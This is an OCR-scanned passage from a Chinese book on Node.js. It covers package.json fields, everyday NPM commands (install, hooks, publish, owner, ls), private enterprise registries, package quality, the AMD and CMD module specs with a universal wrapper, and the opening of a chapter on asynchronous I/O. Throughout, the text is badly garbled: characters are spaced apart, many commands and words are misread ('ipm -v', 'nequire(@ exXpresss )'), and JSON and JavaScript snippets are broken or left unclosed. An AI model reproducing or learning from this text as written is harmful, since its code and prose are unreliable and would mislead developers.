"debug": Ww 
}, 
"devDependencies": { 
"ejs": a 
"mocha" 和 Ww 
了 
"jade": "0.30.0", 
Shjs.: We 
vstylus" Ww 
"should" 和 和 
四 也 
"connect-redis": ™*", 
"marked": a 
"supertest": "0.6.0" 
}, 
"keywords": [ 
"express", 
"framework", 
"sinatra", 
"web", 
"rest", 
"restful", 
"router", 
Na mh 
api" 
]， 
"repository": "git://github.com/visionmedia/express", 
"main": "index", 
pin": 
"express": "./bin/express" 
}, 
"scripts": { 
"prepublish":; "npm prune", 
"test": "make test" 
}, 
"engines": { 
"node"™: Ww 
} 


} 
2.6.3 ”NPM 常用 功能 


CommonJS 包 规范 是 理论 ，NPM 有 是 其 中 的 一 种 实践 。NPM 之 于 Node， 
相当 于 gem 之 于 Ruby，pear 之 于 PHP。 对 于 Node 而 言 ，NPM 帮 助 完 成 
了 第 三 方 模块 的 发 布 、 安 装 和 依赖 等 。 借 助 NPM，Node 与 第 三 方 模块 
之 间 形 成 了 很 好 的 一 个 生态 系统 。 

借助 NPM， 可 以 帮助 用 户 快 速 安装 和 管理 依赖 包 。 除 此 之 外 ，NPM 还 
有 一 些 巧 妙 的 用 法 ， 下 面 我 们 详细 介绍 一 下 。 


1. 查看 帮助 
在 安装 Node 之 后 ， 执 行 ipm -v 命 令 可 以 查看 当前 NPM 的 版 本 : 


$ npm -v 
于 232 


在 不 熟悉 NPM 的 命令 之 前 ， 可 以 直接 执行 NPM 碍 看 到 帮助 引 
导 说 明 : 


$ npm 


Usage: npm <command> 


where <command> is one of: 
add-user, adduser, apihelp, author, bin, bugs, c, cache, 
completion, config, ddp, dedupe, deprecate, docs, edit, 
explore, faq, find, find-dupes, get, help, help-search, 
home, i, info, init, install, isntall, issues, la, link, 
list, 11, ln, login, ls, outdated, owner, pack, prefix, 
prune, publish, r, rb, rebuild, remove, restart, rm, root, 
run-script, s, se, search, set, show, shrinkwrap, star, 
stars, start, stop, submodule, tag, test, tst, un, 
uninstall, unlink, unpublish, unstar, up, update, version, 
view, whoami 


npm <cmd> -h quick help on <cmd> 

npm -1 display full usage info 
npm faq commonly asked questions 
npm help <term> search for help on <term> 
npm help npm involved overview 


Specify configs in the ini-formatted file: 
/Users/jacksontian/.npmrc 

or on the command line via: npm <command> --key value 

Config info can be viewed via: npm help config 


npm@1.2.32 /usr/local/lib/node modules/npm 
可 以 看 到 ， 帮助 中 列 出 了 所 有 的 命令 ， 其 中 npnm help <command> ] 
以 查看 具体 的 命令 说 明 。 

2. ”安装 依赖 包 


安装 依赖 包 是 NPM 最 常见 的 用 法 ， 它 的 执行 语句 是 npm install 
express 。 执行 该 命令 后 ，NPM 会 在 当前 目录 下 创建 
node_modules 日 隶 ， 然 后 在 node_modules 日 录 下 创建 express 
目录 ， 接 着 将 包 解 压 到 这 个 目录 下 。 
安装 好 依赖 包 后 ， 直接 在 代码 中 调用 nequire(@ exXpresss ); 即 可 引 
入 该 包 。require() 方 法 在 做 路 径 分 析 的 时 候 会 通过 模块 路 径 查 
找到 express 所 在 的 位 置 。 模 块 引 入 和 包 的 安装 这 两 个 步骤 是 
相 辅 相 承 的 。 
全 局 模式 安装 
如 果 包 中 舍 有 命令 行 工 具 ， 那 公 需要 执行 npm install 
express -9 命令 进行 全 局 模式 安装 。 需 要 注意 的 是 ， 全 局 
模式 并 不 是 将 一 个 模块 包 和 安装 为 一 个 全 局 包 的 意思 ， 它 
并 不 意味 着 可 以 从 任何 地 方 通 过 require0 来 引用 到 它 8 
全 局 模式 这 个 称谓 其 实 并 不 精确 ， 存 在 诸多 误导 。 实 际 
上 ，:-% 是 将 一 个 包 安 装 为 全 局 可 用 的 可 执行 命令 。 它 根 
据 包 描 述 文件 中 的 mn 字段 配置 ， 将 实际 脚本 链接 到 与 
Node 可 执行 文件 相同 的 路 径 下 : 


"biamn™s 
"express": ",./bin/express" 


事实 上 ， 通 过 全 局 模式 安 洲 的 所 有 模块 包 都 被 安 洲 进 了 
I 这 个 目录 可 以 通过 如 下 方式 推算 出 


path.resolve(process.execPath, '..', '..', 'l1ib', 'node modules'); 


如 果 Node 可 执行 文件 的 位 置 是 /sr/local/bin/node ， 那 么 
模块 目录 就 是 /usr/local/lib/node_modules。 最 后 ， 通 过 软 
链接 的 方式 将 bin 字 段 配 置 的 可 执行 文件 链接 到 Node 的 可 
执行 目录 下 。 

从 本 地 安装 

对 于 一 些 没 有 发 布 到 NPM 上 的 包 ， 或 是 因为 网 络 原因 导 
致 无 法 直接 安装 的 包 ， 可 以 通过 将 包 下 载 到 本 地 ， 然 后 
以 本 地 安装 。 本 地 安装 只 需 为 NPM 指 明 package.json 文 件 
所 在 的 位 置 即 可 : 它 可 以 是 一 个 包含 package.json 的 存档 
文件 ， 也 可 以 是 一 个 URL 地 址 ， 也 可 以 是 一 个 目录 下 有 
package.json 文 件 的 目录 位 置 。 具 体 参数 如 下 : 


npm install <tarball file> 
npm install <tarball url> 
npm install <folder> 


从 非 官 方 源 安装 
如 采 不 能 通过 官方 源 安装 ， 可 以 通过 镜像 产 安 装 。 在 执 
添加 sal], 示例 如 


npm install underscore --registry=http://registry.url 


如 果 使 用 过 程 中 几乎 都 采用 镜像 源 安 狼 ， 可 以 执行 以 下 
命令 指定 默认 源 : 
npm config set registry http://registry.url 


NPM 钧 子 命令 

丸 一 个 需要 说 明 的 是 C/C++ 模块 实际 上 是 编译 后 才能 使 用 
的 package.json 中 scripts 字 段 的 提出 束 是 让 包 在 安装 或 者 稳 
载 等 过 程 中 提供 钩子 机 制 ， 示 例如 下 : 


VSCTrLptS es 蒜 
"preinstal1": "preinstall.js", 
"install": "install.js", 
"uninstall": "uninstall.js", 
"test": "test.js" 


} 


在 以 上 字段 中 执行 npm install ee | preinstall 指 向 的 脚本 
将 会 被 加 载 执行 ， 然 后 instal 指 向 的 脚本 会 被 执行 。 在 执行 
npm uninstall pe kee , uninstall 指 向 的 脚本 也 许 会 做 一 些 清 理 
工作 等 。 
当 在 一 个 具体 的 包 目 录 下 执行 npn test 时 ， 将 会 运行 test 指 辐 的 
脚本 。 一 个 优秀 的 包 应 当 包 侣 测试 用 例 ， 并 在 package.json 文 
件 中 配置 好 运行 测试 的 命令 ， 方 便 用 户 运行 测试 用 例 ， 以 便 
检验 包 是 否 稳 定 可 靠 。 
发 布 包 
为 了 将 整个 NPM 的 流程 串联 起 来 ， 这 里 将 演示 如 何 编写 一 个 
包 ， 将 其 发 布 到 NPM 仓 库 中 ， 并 通过 NPM 安 装 回 本 地 。 
编写 模块 
模块 的 内 容 我 们 尽量 保持 简单 ， 这 里 还 是 以 saynello 作 为 
例子 ， 相 关 代 码 如 下 : 


exports.sayHello = function () { 
return 'Hello, world.'; 


}; 


将 这 段 代码 保存 为 hello.js 即 可 。 

初始 化 包 描 述 文 件 

package.json 文 件 的 内 容 尽管 相对 较 多 ， 但 是 实际 发 布 一 
个 包 时 并 不 需要 一 行 一 行 编写 。NPM 提 供 的 npn init 命 令 
会 帮助 你 生成 package.json 文 件 ， 具 体 如 下 所 示 : 


$ npm init 

This utility will walk you through creating a package.json file. 

It only covers the most common items, and tries to guess sane defaul 
ts ， 


See ‘npm help json for definitive documentation on these fields 
and exactly what they do. 


Use ‘npm install <pkg> --save afterwards to install a package and 
save it as a dependency in the package.json file. 


Press ^C at any time to quit. 
name: (module) hello_test_ jackson 
version: (0.0.0) 0.0.1 
description: A hello world package 
entry point: (hello.js) ./hello.js 
test command: 

git repository: 

keywords: Hello world 

author: Jackson Tian 

license: (BSD) MIT 

About to write to /Users/jacksontian/git/diveintonode/examples/03/mo 
dule/package.json: 


{ 
"name": "hello_ test_ jackson", 
"version": "0.0.1"， 
"description": "A hello world package", 
"main": ",./hello.js", 
vscriptes 全 丰 
"test": "echo \"Error: no test specified\" && exit 1" 
}, 
"repository": "", 
"keywords": [ 
"Hello", 
"world" 
]， 
"author": "Jackson Tian", 
"license": "MIT" 
} 


Is this ok? (yes) yes 
npm WARN package.json hello_test_jackson@0.0.1 No README.md file fou 
nd ! 


NPM 通 过 提问 式 的 交互 逐个 填 入 选项 ， 最 后 生成 预 克 的 
包 描 述 文件 。 如果 你 满意 ， 输 入 yss， 此 时 会 在 目录 下 得 
到 package.json 文 件 。 

注册 包 仓库 账号 

为 了 维护 包 ，NPM 必 须要 使 用 仓库 账号 才 人 允许 将 包 发 布 
到 仓库 中 。 注册 账号 的 命令 是 npm adduser。 这 也 是 一 个 提 
问 式 的 交互 过 程 ， 按 顺序 进行 即 可 : 


$ npm adduser 
Username: (jacksontian) 
Email: (shyvo1987@gmail .com) 


上 传 包 


上 传 包 的 命令 是 npm publish <folder>。 在 刚刚 创建 的 
package.json 文 件 所 在 的 目录 下 ， 执 行 npm publish .开始 上 
传 包 ， 相 关 代 码 如 下 : 


$ npm publish . 

npm http PUT http://registry.npmjs.org/hello_test_jackson 

npm http 201 http://registry.npmjs.org/hello_test_jackson 

npm http GET http://registry.npmjs.org/hello_test_jackson 

npm http 200 http://registry.npmjs.org/hello_test_jackson 

npm http PUT http://registry.npmjs.org/hello_ test_jackson/0.0.1/- 
tag/latest 

npm http 201 http://registry.npmjs.org/hello_ test_jackson/0.0.1/- 
tag/latest 

npm http GET http://registry.npmjs.org/hello_test_jackson 

npm http 200 http://registry.npmjs.org/hello_test_jackson 

npm http PUT http://registry.npmjs.org/hello_ test_jackson/-/hello_te 
st_jackson-0.0.1.tgz/-rev/2-2d64e0946b866878bb252f182070c1d5 

npm http 201 http://registry.npmjs.org/hello_test_jackson/-/hello_te 
st_jackson-0.0.1.tgz/-rev/2-2d64e0946b866878bb252f182070c1d5 

+ hello_test_jackson@0.0.1 


在 这 个 过 程 中 ，NPM 会 将 日 录 打 包 为 一 个 存档 文件 ， 然 
后 上 传 到 官方 源 仓库 中 。 

安装 包 

为 了 体验 和 测试 目 己 上 传 的 包 ， 可 以 换 一 个 目录 执行 npn 
install i 


$ npm install hello_test_jackson 
registry=http://registry.npmjs.org 

npm http GET http://registry.npmjs.org/hello_test_jackson 
npm http 200 http://registry.npmjs.org/hello_test_jackson 
hello_test_jackson@0.0.1 ./node modules/hello_test_jackson 


管理 包 权 限 


通常 ， 一 个 包 只 有 一 个 人 拥有 权限 进行 发 布 。 如 采 需 要 
人 


$ npm owner ls eventproxy 

npm http GET https://registry.npmjs.org/eventproxy 
npm http 200 https://registry.npmjs.org/eventproxy 
jacksontian <shyvo1i987@gmail.com> 


使 用 这 个 命令 ， 也 可 以 添加 包 的 拥有 者 ， 删 除 一 个 包 的 
拥有 者: 


npm owner ls <package name> 
npm owner add <user> <package name> 
npm owner rm <user> <package name> 


5. 分 析 包 


在 使 用 NPM 的 过 程 中 ， 或 许 你 不 外 确认 当前 目录 下 能 否 通 过 
require0) 有 顺利 引 八 四 要 的 包 ， ee 1s 分 析 包 。 


这 个 命令 可 以 为 你 分 析出 当前 路 径 下 能 够 通过 模块 路 径 找到 
的 所 有 包 ， 并 生成 依赖 树 ， 如 下 : 


$ npm ls 

/Users/jacksontian 
connect@2.0.3 

县 类 crc@0.1.0 

| 一 debug@90.6.0 

| 一 formidable@1.0.9 

| 一 mime@1.2.4 

qs@0.4.2 

— hello_test_jackson@0.0.1 

CC urllib@0.2.3 


2.6.4 ”局 域 NPM 

在 企业 的 内 部 应 用 中 使 用 NPM 与 开源 社区 中 使 用 有 一 定 的 差别 。 企 业 
的 限制 在 于 ， 一 方面 需要 享受 到 模块 开发 带 来 的 低 耦 合 和 项 目 组 织 上 
的 好 处 ， 另 一 方面 却 要 考虑 到 模块 保密 性 的 问题 。 所 以 ， 通 过 NPM 共 
享 和 发 布 存在 潜在 的 风险 。 

为 了 同时 能 够 享受 到 NPM 上 众多 的 包 ， 同 时 对 自己 的 包 进 行 保密 和 限 
制 ， 现 有 的 解决 方案 就 是 企业 搭建 自己 的 NPM 仓 库 。 

所 幸 ， NPM 自 身 是 开源 的 ， 无 论 是 它 的 服务 器 端 和 客户 端 。 通 过 源 代 
码 搭建 自己 的 仓库 并 不 是 什么 秘密 。 
人 


与 镜像 仓库 不 同 的 地 方 在 于 ， 企 业 局 域 NPM 可 以 选择 不 同步 官方 源 仓 
库 中 的 包 。 图 2-10 为 企业 中 混合 使 用 官方 仓库 和 局 域 仓库 的 示意 图 。 


企业 局 域 NPM 仓 库 


图 2-10 混合 使 用 官方 仓库 和 局 域 仓库 的 示意 图 

对 于 企业 内 部 而 言 ， 私 有 的 可 重用 模块 可 以 打包 到 局 域 NPM 仓 库 中 ， 
这 样 可 以 保持 更 新 的 中 心 化 ， 不 至 于 让 各 个 小 项 目 各 自 维 护 相同 功能 
的 模块 ， 杜 绝 通 过 复制 粘贴 实现 代码 共享 的 行为 。 

2.6.5 ”NPM 洪 在 问题 

作为 为 模块 和 包 服 务 的 工具 ，NPM 十 分 便捷 。 它 实质 上 已 经 是 一 个 包 
共享 平台 ， 所 有 人 都 可 以 贡献 模块 并 将 其 打包 分 享 到 这 个 平台 上 ， 也 
可 以 在 许可 证 (大 多 是 MIT 许 可 证 ) 的 允许 下 免费 使 用 它们 。NPM 提 
供 的 这 些 便捷 ， 将 模块 链接 到 一 个 共享 平台 上 ， 缩 短 了 贡献 者 与 使 用 
者 之 间 的 距离 ， 这 十 分 有 利于 模块 的 传播 ， 进 而 也 十 分 利于 Node 的 推 
广 。 几 乎 没有 一 种 语言 或 平台 有 Node 这 样 出 现 才 3 年 多 就 拥有 成 千 上 
万 个 第 三 方 模块 的 情景 。 这 个 功劳 一 部 分 是 因为 Node 选 择 了 
JavaScript， 这 门 语言 拥有 极 大 的 开发 人 员 基 数 ， 具 有 强大 的 生产 力 ; 
另 一 部 分 则 是 因为 CommonJS 规 范 和 NPM， 它 们 使 得 产品 能 够 更 好 地 
组 织 、 传 播 和 使 用 。 

洪 在 的 问题 在 于 ， 在 NPM 平 台 上 ， 每 个 人 都 可 以 分 享 包 到 平台 上 ， 鉴 
于 开发 人 员 水 平 不 一 ， 上 面 的 包 的 质量 也 良 劳 不 齐 。 另 一 个 问题 则 
是 ，Node 代 码 可 以 运行 在 服务 器 端 ， 需 要 考虑 安全 问题 。 


对 于 包 的 使 用 者 而 言 ， 包 质量 和 安全 问题 需要 作为 是 否 采纳 模块 的 一 
个 判断 条 件 。 

尽管 NPM 没 有 硬性 的 方式 去 评判 一 个 包 的 质量 和 安全 ， 好 在 开源 社区 
也 有 它 内 在 的 健康 发 展 机 制 ， 那 就 是 口碑 效应 ， 其 中 NPM 模 块 首页 
个 可 以 考查 质量 的 地 方 是 GitHub，NPM 中 大 多 的 包 都 是 通过 GitHub 托 
管 的 ， 模 块 项 目的 观察 者 数量 和 分 支 数量 也 能 从 侧面 反映 这 个 模块 的 
可 靠 性 和 流行 度 。 第 三 个 可 以 考量 包 质 量 的 地 方 在 于 包 中 的 测试 用 例 
和 文档 的 状况 ， 一 个 没有 单元 测试 的 包 基本 上 是 无 法 被 信任 的 ， 没 有 
文档 的 包 ， 使 用 者 使 用 时 内 心 也 是 不 踏实 的 。 

在 安全 问题 上 ， 在 经 过 模块 质量 的 考查 之 后 ， 应 该 可 以 去 掉 一 大 半 候 
选 包 。 基 于 使 用 者 大 多 是 JavaScript 程 序 员 ， 难 点 其 实 存在 于 第 三 方 
CiC+t 扩 展 模块 ， 这 类 模块 建议 在 企业 的 安全 部 门 宾 查 之 后 方 可 允许 


事实 上， 为 了 解决 上 述 问 题 ，Isaac Z. Schlueter 计 划 引 入 CPAN 人 社区 中 
的 Kwalitee 风 格 来 让 模块 进行 目 然 排序 。Kwalitee 是 一 个 拟 声 词 ， 发 音 
与 quality 相 同 。CPAN 社 区 对 它 的 原始 定义 如 下 : 

“Kwalitee”is something that looks like quality, sounds like quality, but is 
not quite quality. 

大 致意 思 就 是 确认 一 个 模块 的 质量 是 否 优秀 并 不 是 那么 容易 ， 只 能 从 
些 表 象 来 进行 考查 ， 但 即便 考查 都 通过 ， 也 并 不 能 确定 它 就 是 高 质 
量 的 模块 。 这 个 方法 能 够 排除 大 部 分 不 合格 的 模块 ， 虽 然 不 够 精确 但 
是 有 效 。 总 体 而 言 ， 符 合 Kwalitee 的 模块 要 满足 的 条 件 与 上 述 提 及 的 
考查 点 大 至 相同。 


。 具备 良好 的 测试 。 

。 具备 良好 的 文档 (README、API) 。 

。 具备 良好 的 测试 覆盖 率 。 

。 具备 良好 的 编码 规范 。 

。 更 多 条 件 。 
CPAN 社 区 制定 了 相当 多 的 规范 来 考查 模块 。 未 来 ，NPM 社 区 也 会 有 
更 多 的 规范 来 考查 模块 。 读 者 可 以 根据 这 些 条 款 区 分 出 那些 优秀 的 模 
块 和 糟粕 的 模块 。 


2.7 ”前 后 端 共 用 模块 

谈论 了 许多 后 端 模块 的 具体 实现 后 ， 现 在 我 们 围绕 CommonJS 规 范 再 
次 回 到 前 端 模 块 上 。JavaScript 在 Node 出 现 之 后 ， 比 别 的 编程 语言 多 了 
一 项 优势 ， 那 束 是 一 些 模块 可 以 在 前 后 端 实现 共用 ， 这 是 因为 很 多 
I °。 但 是 在 实际 情况 中 ， 前 后 端的 环境 是 
构 绽 必 We® 


2.7.1 模块 的 侧重 点 

前 后 并 JavaScript 分 别 搁置 在 HTTP 的 两 端 ， 它 们 扮演 的 角色 并 不 同 。 
浏 蜗 妖 端的 JavaScript 需 要 经 历 从 同一 个 服务 絮 端 分 发 到 多 个 客户 端 执 
行 ， 而 服务 器 端 JavaScript 则 是 相同 的 代码 需要 多 次 执行 。 前 者 的 瓶颈 
在 于 带宽 ， 后 者 的 瓶 肛 则 在 于 CPU 和 内 存 等 资源 。 前 者 需要 通过 网 络 
加 载 代码 ， 后 者 从 磁盘 中 加 载 ， 两 者 的 加 载 速度 不 在 一 个 数量 级 上 。 
纵 观 Node 的 模块 引入 过 程 ， 几 乎 全 都 是 同步 的 。 尽 管 气 Node 强 调 异 步 
的 行为 有 些 相 反 ， 但 它 是 合理 的 。 但 是 如 果 前 端 模 块 也 采用 同步 的 方 
式 来 引入 ， 那 将 会 在 用 户 体验 上 造成 很 大 的 问题 。UI 在 初始 化 过 程 中 
需要 花费 很 多 时 间 来 等 竺 脚本 加 载 完 成 。 

鉴于 网 络 的 原因 ，CommonJS 为 后 端 JavaScript 制 定 的 规范 并 不 完全 适 
合 前 端的 应 用 场景 。 经 过 一 段 争执 之 后 ，AMD 规 范 最 终 在 前 端 应 用 场 
景 中 胜出 。 它 的 全 称 是 Asynchronous Module Definition， 即 是 “异步 模 
外 ， 还 有 玉 伯 定义 的 CMD 规 范 。 加 

2.7.2 AMD 规 范 

AMD 规 范 是 CommonJS 模 块 规范 的 一 个 延伸 ， 它 的 模块 定义 如 下 : 


define(id?, dependencies?, factory); 


它 的 模块 gu 和 依赖 是 可 选 的 ， 与 Node 模 块 相似 的 地 方 在 于 factory 的 内 容 
就 是 实际 代码 的 内 容 。 下 面 的 代码 定义 了 一 个 稍 单 的 模块 : 
define(function() { 
Var exports = {}; 


exports.sayHello = function() { 
alert('Hello from module: ' + module.id),; 


天 
return exports 
/ 


不 同 之 处 在 于 AMD 模 块 需要 用 define 来 明确 定义 一 个 模块 ， 而 在 Node 
实现 中 是 隐 式 包 雄 的 ， 它 们 的 目的 是 进行 作用 域 隔 离 ， 仅 在 需要 的 时 
候 被 引入 ， 避 免 掉 过 去 那 种 通过 全 局 变量 或 者 全 局 命名 空间 的 方式 ， 


以 免 变 量 污 染 和 不 小 心 被 修改 。 另 一 个 区 别 则 是 内 容 需 要 通过 返回 的 

方式 实现 导出 。 

2.7.3 CMD 规范 

CMD 规 范 由 国内 的 玉 伯 提出 ， 与 AMD 规 范 的 主要 区 别 在 于 定义 模块 
农 赖 部分。 AMD 需 要 在 声明 模块 的 时 候 指定 所 有 的 依赖 ， 通 

过 形 参 传递 依赖 到 模块 内 容 中 : 


define(['dep1i', 'dep2'], function (depi1, dep2) { 
return function () {€}; 


}); 


与 AMD 模 块 规范 相 比 ，CMD 模 块 更 接近 于 Node 对 CommonJS 规 范 的 定 
SL:: 


define(factory); 


在 依赖 部 分 ，CMD 文 持 动 态 引 入 ， 示 例如 下 : 


define(function(require, exports, module) { 
// The module code goes here 


}); 


require 、exports 和 module 通 过 形 参 传递 给 模块 ， 在 需要 依赖 模块 时 ， 随 时 
调用 -equire0 引 入 即 可 。 


2.7.4 ”兼容 多 种 模块 规范 

为 本 入 同 二 个 模 央 可 以 运行 在 前 后 瑞 ， 在 写作 过 程 中 需要 考虑 兼容 前 
端 也 实现 了 模块 规范 的 环境 。 为 了 保持 前 后 端的 一 致 性 ， 类 库 开 发 者 
需要 将 类 库 代 人 码 包装 在 一 个 闭 包 内 。 以 下 代码 演示 如 何 将 hello0) 方 法 定 

| 它 能 够 兼容 Node、AMD、CMD 以 及 常见 的 
| 史 器 


;(function (name, definition) { 
// 检测 上 下 文 环境 是 否 为 AMD 或 CMD 


var hasDefine = typeof define === 'function', 
// 检查 上 下 文 环境 是 否 为 Node 
hasExports = typeof module !== 'undefined' && module.exports; 


if (hasDefine) { 

// AMD 环 境 或 CMD 环 境 
define(definition); 

} else if (hasExports) { 
// 定义 为 普通 Node 模 区 
module.exports = definition(); 

} else { 
// 将 模块 的 执行 结果 挂 在 window 变 量 中 ， 在 浏览 器 中 this 指 向 window 对 象 
this[name] = definition(); 


H 


} 
})('hello', function () { 
var hello = function () {€}; 


return hello; 


}); 


2.8 ”总 结 

CommonJS 提 出 的 规范 均 十 分 人 简单， 但 是 现实 意义 却 十 分 强大 。Node 
通过 模块 规范 ， 组 织 了 上 自身 的 原生 模块 ， 弥 补 JavaScript 弱 结构 性 的 问 
题 ， 形 成 了 稳定 的 结构 ， 并 回 外 提供 服务 。NPM 通 过 对 包 规 范 的 文 
持 ， 有 效 地 组 织 了 第 三 方 模块 ， 这 使 得 项 目 开 发 中 的 依赖 问题 得 到 很 
好 的 解决 ， 并 有 效 提供 了 分 享 和 传播 的 平台 ， 借 助 第 三 方 开 源 力 量 ， 
使 得 Node 第 三 方 模块 的 发 展 速 度 前 所 未 有 ， 这 对 于 其 他 后 端 JavaScript 
语言 实现 而 言 是 从 未 有 过 的 。 从 一 定 的 角度 上 讲 ，CommonJS 规 范 帮 
助 Node 形 成 了 它 的 骨骼 。 只 有 盏 壮 的 根 ， 才 能 培养 出 皮 盛 的 术 叶 ， 并 
成 长 为 参天 大 树 。 正 是 这 些 底层 的 规范 和 实践 ， 使 得 Node 有 序 地 发 展 
着 ， 摆 脱 掉 过 去 JavaScript 纷 乱 和 被 误解 的 局 面 ， 进 而 进化 成 民 性 的 生 


2.9 ”参考 资源 
本 章 参 考 的 资源 如 下 : 


。 http:/www.commonjs.org 

. http:/npmjs.org/do/README.html 

。 http:/www.infoq.com/cn/articles/msh-using-npm-manage- 
node.js-dependence 

。 http://nodejs.org/docs/latest/api/modules.html 

. http://addyosmani.com/writing-modular-js/ 


。 http:/www.ecma-international.org/publications/files 人 ECMA- 
ST/Ecma-262.pdf 


。 http:/www.w3.org/TR/html5/ 


。 http://arstechnica.com/web/news/2009/12/commonjs-effort-sets- 
javascript-on-path-for-world-domination.ars 


第 3 章 异步 LO 

在 第 1 章 中 ， 我 们 曾 简 单 介绍 过 异步 WO。“ 异 步 * 这 个 名 词 其 实 很 早 就 
诞生 了 ， 但 它 的 大 规模 流行 却 是 在 Web 2.0 浪 潮 中 ， 它 伴随 着 AJAX 的 
第 一 个 A (Asynchronous) 席卷 了 Web。Node 在 出 现 之 前 ， 最 习惯 异步 
编程 的 程序 员 莫 过 于 前 端 工 程 师 了 。 前端 编程 算 GUI 编 程 的 一 种 ， 其 
中 充 扩 了 各 种 Ajax 和 事件 ， 这 些 都 是 典型 的 异步 应 用 场景 。 

但 事实 上 ， 异 步 早 束 存 在 于 操作 系统 的 故 层 。 在 底层 系统 中 ， 异 步 通 
过 信号 量 、 消 息 等 方式 有 了 广泛 的 应 用 。 意 外 的 是 ， 在 绝 大 多 数 高 级 
编程 语言 中 ， 异 步 并 不 多 见 ， 疑 似 补 屏蔽 了 一 般 。 造 成 这 个 现象 的 主 
要 原因 也 许 令 人 惊讶 : 程序 员 不 太 适 合 通 过 异步 来 进行 程序 设计 。 
PHP 这 门 语言 的 设计 最 能 体现 这 个 观点 。 它 对 调用 层 不 仅 屏 殴 了 异 
步 ， 甚 至 连 多 线程 都 不 提供 。PHP 语 言 从 头 到 脚 都 是 以 同步 阻塞 的 方 
式 来 执行 的 。 它 的 优点 十 分 明显 ， 利 于 程序 员 顺 序 编 写 业 务 逻 辑 ; 它 
的 缺点 在 小 规模 站 点 中 基本 不 存在 ， 但 是 在 复杂 的 网 络 应 用 中 ， 阻 塞 
导致 它 无 法 更 好 地 并 发 。 

而 在 其 他 语言 中 ， 尽 管 可 能 存在 异步 的 API， 但 是 程序 员 还 是 习惯 采 
用 同步 的 方式 来 编写 应 用 。 在 众多 高 级 编程 语言 或 运行 平台 中 ， 将 异 
步 作 为 主要 编程 方式 和 设计 理念 的 ，Node 是 首 个 。 

伴随 着 异步 WO 的 还 有 事件 驱动 和 单线 程 ， 它 们 构成 Node 的 基调 ， 
Ryan Dahl 正 是 基于 这 几 个 因素 设计 了 Node。Ryan Dahl 最 初期 望 设 计 
出 一 个 高 性 能 的 Web 服务 右 ， 后 来 则 演变 为 一 个 可 以 基于 它 构 建 各 种 
高 速 、 可 伸缩 网 络 应 用 的 平台 ， 因 为 一 个 web 服 务 圳 已 经 无 法 完全 亢 
盖 和 代表 它 的 能 力 了 。 尽 管 它 不 再 是 一 个 服务 器 ， 但 是 可 以 基于 它 搭 
建 更 多 更 丰富 、 更 强大 的 网 络 应 用 。 

与 Node 的 事件 驱动 、 异 步 WO 设 计 理 念 比较 相近 的 一 个 知名 产品 为 
Nginx。Nginx 采 用 纯 C 编 写 ， 性 能 表现 非常 优异 。 它 们 的 区 别 在 于 ， 
Nginx 具 备 面 向 客户 端 管理 连接 的 强大 能 力 ， 但 是 它 的 背后 依然 受 限于 
各 种 同步 方式 的 编程 语言 。 但 Node 却 是 全 方位 的 ， 既 可 以 作为 服务 器 
端 去 处 理 客 户 端 帘 来 的 大 量 并 发 请 求 ， 也 能 作为 客户 端 回 网络 中 的 各 
个 应 用 进行 并 发 请 求 。 

WebiJ 富 入 起 网 ， Node 的 表现 就 如 它 的 名 字 一 样 ， 是 网 络 中 灵活 的 一 
上 人民 ° 


3.1 为 什么 要 异步 /O 

关于 异步 /0 为 何在 Node 里 如 此 重要 ， 这 与 Node 面 同 网 络 而 设计 不 无 
关系 。Web 应 用 已 经 不 再 是 单 台 服务 器 就 能 胜任 的 时 代 了 ， 在 跨 网 络 
的 结构 下 ， 并 发 已 经 是 现代 编程 中 的 标准 配备 了 。 具 体 到 实处 ， 则 可 
以 从 用 户 体验 和 资源 分 配 这 两 个 方面 说 起 。 

3.1.1 用 户 体验 

异步 的 概念 之 所 以 首先 在 Web 2.0 中 火 起 来 ， 是 因为 在 浏览 器 中 
JavaScript 在 单线 程 上 执行 ， 而 且 它 还 与 UI 渲染 共用 一 个 线程 。 这 意味 
着 JavaScript 在 执行 的 时 候 UI 泻 染 和 响应 是 处 于 停滞 状态 的 。《 高 性 能 
JavaScript》 一 书 中 曾经 总 结 过 ， 如 果 脚 本 的 执行 时 间 超 过 100 毫 秒 ， 
用 户 就 会 感到 页 面 卡 顿 ， 以 为 网 页 停止 响应 。 而 在 B/S 模型 中 ， 网 络 速 
度 的 限制 给 网 页 的 实时 体验 造成 很 大 的 麻烦 。 如 果 网 页 临时 需要 获取 
一 个 网 络 资源 ， 通 过 同步 的 方式 获取 ， 那 么 JavaScript 则 需要 等 待 资源 
完全 从 服务 器 端 获取 后 才能 继续 执行 ， 这 期 间 UI 将 停顿 ， 不 响应 用 户 
的 交互 行为 。 可 以 想象 ， 这 样 的 用 户 体 验 将 会 多 差 。 而 采用 异步 请 
求 ， 在 下 载 资源 期 间 ，JavaScript 和 UI 的 执行 都 不 会 处 于 等 待 状态 ， 可 
以 继续 响应 用 户 的 交互 行为 ， 给 用 户 一 个 鲜 活 的 页 面 。 

同 理 ， 前 端 通过 异步 可 以 消除 掉 UI 阻 塞 的 现象 ， 但 是 前 端 获取 资源 的 
速度 也 取决 于 后 端的 啊 应 速度 。 假 如 一 个 资源 来 自 于 两 个 不 同位 置 的 
数据 的 返回 ， 第 一 个 资源 需要 M 写 秒 的 耗 时 ， 第 二 个 资源 需要 六 室 秒 
的 耗 时 。 如 果 采 用 同步 的 方式 ， 代 码 大 致 如 下 : 


// 消费 时 间 为 M 
getData( 'from db'); 

// 消费 时 间 为 N 

getData( 'from_remote_api' )， 


但 是 如 末 采 用 异步 方式 ， 第 一 个 资源 的 获取 并 不 会 阻塞 第 二 个 资源 ， 
也 即 第 二 个 资源 的 请 求 并 不 依赖 第 一 个 资源 的 结束 。 如 此 ， 我 们 可 以 
诗 受 到 并 发 的 优势 ， 相 关 代码 如 下 : 


getData( 'from db', function (result) { 
// 消费 时 间 为 M 

}22 

getData('from remote api', function (result) { 
// 消费 时 间 为 N 

yp) 


对 比 两 者 的 时 间 总 消耗 ， 前 者 为 M+N， 后 者 为 max (M,NN) 


随 着 应 用 复杂 性 的 增加 ， 人 情景 将 会 变 成 M+ N+ .… 和 max (M，N， 
...) ， 同 步 与 异步 的 优 劣 将 会 凸显 出 来 。 另 一 方面 ， 随 着 网 站 或 应 用 
不 断 膨胀 ， 数 据 将 会 分 布 到 多 台 服 务 器 上 ， 分 布 式 将 会 是 常态 。 分 布 
也 意味 着 M 与 N 的 值 会 线性 增长 ， 这 也 会 放大 异步 和 同步 在 性 能 方面 的 
差异 。 为 了 计 读 者 感知 到 M 和 N 值 具体 多 昂贵 ， 表 3-1 列 出 了 从 CPU 一 
